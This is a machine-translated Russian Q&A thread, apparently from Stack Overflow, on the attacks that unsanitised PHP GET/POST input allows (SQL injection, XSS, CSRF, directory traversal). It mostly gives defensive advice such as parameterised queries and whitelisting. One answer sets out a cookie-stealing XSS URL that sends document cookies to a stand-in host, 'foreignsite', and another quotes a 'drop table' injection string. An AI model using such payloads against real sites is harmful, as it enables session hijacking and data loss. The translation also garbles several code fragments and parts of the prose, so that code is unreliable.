каковы уязвимости в прямом использовании GET и POST?
Я хочу знать какие уязвимости при использовании переменной GET и POST напрямую. ie без обрезки и функции addslashes и MySQL escape string что-то вроде этого.
у меня вопрос
о чем еще нам нужно позаботиться во время игры с GET и POST.
какие бывают атаки как SQL-инъекция?
8 ответов
В общем, и не ограничивается, чтобы получить и опубликовать, но и любой данные, поступающие извне системы (включая cookies в случае веб-приложений):
практически все факторы", то пользователь может выполнить любой код в контексте передать их ввода".
- если вы передаете его в базу данных SQL, они могут запускать любой SQL, который им нравится.
- если вы передаете его в HTML-документ, они могут добавить любую разметку, которую им нравится (включая JavaScript)
- если вы передаете его в системную оболочку, они могут запускать любые системные команды, которые им нравятся.
- если вы открываете файл с именем они выбирают, они могут открыть любые файлы. так далее.
нужно думать о том, что вы делаете с данными. Поиск списка возможных вещей, которые могут пойти не так при принятии испорченного ввода в любую систему в мире, не приведет к исчерпывающему списку.
и в стороне: забудьте addslashes (это не эффективно), забудьте mysql_real_escape (с ним слишком легко ошибиться). Используйте параметризованные запросы: как предотвратить SQL-инъекцию в PHP?
самая простая возможная атака XSS с крошечным кусочком социальной инженерии
предположим, у вас есть простое приложение PHP, которое использует сеансы для отслеживания пользователей. И у него есть какой-то интерфейс администратора, где пользователи с более высокими привилегиями могут, скажем, редактировать контент.
и предположим, что вы вошли в систему как администратор на этом сайте и что внутри этого приложения есть запрос файла.php, со следующим фрагментом кода
echo $GET['action'];
и теперь кто-то обнаруживает это, создает следующий url http://yourapp/request.РНР?действие=документ.местоположение.href='http://foreignsite?c='.куки
затем, что кто-то добавил этот URL-адрес tinyurl.com, что сокращает его что-то вроде http://tinyurl.com/x44534, затем он отправляет вам по электронной почте, заявив, что "Эй, посмотрите на это, вы мне найдете ее полезной".
вы нажимаете на ссылку, tinyurl.com переводит короткий url обратно в длинный, перенаправляет ваш браузер на него, ваш запрос.php радостно выводит Javascript из запроса, Ваш браузер видит его, выполняет его и в результате человек, который запускает http://foreignsite получает все ваши куки.
тогда ему просто нужно вставить эти значения cookie в свой браузер, и вуаля, у него есть мгновенный доступ к интерфейсу администратора сайта. Потому что он получил твое сессионное печенье.
это описало простейшую возможную атаку XSS, это действительно упрощенно, наверное, не будет работать в реальной жизни, но, надеюсь, вы получили основную идею, как это работает.
Если вы берете любую переменную GET или POST и эффективно "выполняете" ее, не пропуская ее через какой-либо фильтр, вы открываете себя для инъекционных атак. SQL-инъекция, очевидно, очень распространенный случай, но если вы делаете какой-либо eval() с этими данными (на языке программирования или в любой другой базе данных или интерпретируемой ситуации - включая передачу HTML обратно в браузер для интерпретации на клиенте), то знающие злоумышленники могут создавать входные данные, которые сделают ваше приложение делает вещи, которые непреднамеренны.
Как уже писали люди,любой пользовательский ввод должен рассматриваться как вредоносный, независимо от того, насколько безопасно вы можете чувствовать себя.
разработчики думают о защите кода во время его написания и когда они делают изменения, в то время как хакеры думают о том, чтобы испортить этот код, когда они решат взломать его, что может быть сегодня, завтра или через два года. То, что могло показаться совершенно безопасным в то время, когда код был написан, может превратиться чтобы быть эксплуатируемым в какой-то более поздний момент.
в принципе, все входные данные должны быть отфильтрованы, изучены и санированы религиозно независимо от того, для чего он используется в любой момент времени. Кто-то может пропустить дезинфекцию части пользовательского ввода, потому что "он не будет использоваться для чего-либо, что может причинить вред", а затем 11 месяцев вниз по линии, кто-то из команды решает использовать предположительно дезинфицированные данные, которые были назначены переменной, в SQL-запросе или вызове system exec и всей системе побои.
Что делать:
белый список вместо черного - знайте, какие типы ввода вы ожидаете и конвертировать пользовательские данные соответственно, идентификаторы, как правило, целые числа, так что это безопасно бросить все пользовательские представленные идентификаторы в целые числа. - знайте, когда вы ожидаете небольшие объемы данных, и когда вы ожидаете большой. Личные имена обычно относительно короткие и не содержат цифр, "1"; падение таблицы клиентов; " не является реальным именем, и вы можете знать это без добавления косых черт.
затем черный список некоторых на всякий случай - примените стандартную логику экранирования ко всем данным, которые сделаны через ваш белый список, на всякий случай
затем отфильтруйте и проверьте еще - пока не почувствуешь себя в безопасности!--3-->
главным образом CSRF, XSS и обход каталога:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
Он распространяется немного больше, чем просто "получить" или "сообщение". Его все зависит от программирования, которое вы сделали, чтобы поддержать их. Если вы просто обслуживаете статическую html-страницу, не так много уязвимостей. Если, с другой стороны, вы устанавливаете и изменяете данные через get-запросы, уязвимости могут быть бесконечными, просто посмотрите случаи, когда бот google стирает данные из мест, которые использовали " get " для отправки вещей.
все зависит от того, для чего вы используете данные, и уязвимости ограничивается GET или set. Санировать ваши входы.
GET и POST data-это данные, отправленные непосредственно от пользователя. Вы получаете его сырым, без какой-либо проверки или проверки между Пользователем и программой. Даже если вы проверяете форму, которая должна быть источником данных, злоумышленник может вручную создать запрос с любыми данными, которые он хочет. Поэтому вы всегда должны рассматривать данные запроса как ненадежный пользовательский ввод.
существует ряд атак, которые полагаются на кодер, забывая, что данные запроса ненадежны, но наиболее известным является SQL инъекция. Основной причиной SQL-инъекции является построение запроса путем объединения строк вручную, некоторые из которых являются ненадежными пользовательскими вводами. Это означает, что вы сообщаете своей базе данных о выполнении ненадежного пользовательского ввода.
наивным решением для SQL-инъекции является проверка входных данных, а затем объединение их в строку запроса, но это также плохая форма. Вы полагаетесь на свою логику проверки, чтобы сделать строку безопасной, и если вы злоупотребляете ею - или логика глючит - тогда вы вновь подвергаются нападениям.
правильное решение-отделить ваш запрос от данных, которые он содержит. Практически все адаптеры баз данных поддерживают этот подход, и если ваш по какой-то причине не подходит для использования. Наиболее распространенная идиома (ни на одном конкретном языке):
базы данных mydb.запрос ("выберите * из материала, где id=?", [42]);
Это гарантирует (в такой системе), что параметры не выполняются. Строка запроса полностью доверенные данные, в то время как ненадежные данные разделены. В худшем случае такой подход к неправильному вводу может привести к неправильным данным, а не к неправильной команде.
этот подход к избежанию SQL-инъекции подчеркивает центральный принцип, который применяется ко всем видам атак данных запроса: данные запроса не являются вашими, и это небезопасно. При обработке любого пользовательского ввода, включая данные запроса, всегда предполагайте, что он исходит от злоумышленника, хорошо знающего вашу систему. Это может показаться паранойей, но так ты будешь в безопасности.
все суперглобалы могут управляться агентами пользователей. В $_SERVER, $_POST, где, переменная $_GET и т. д.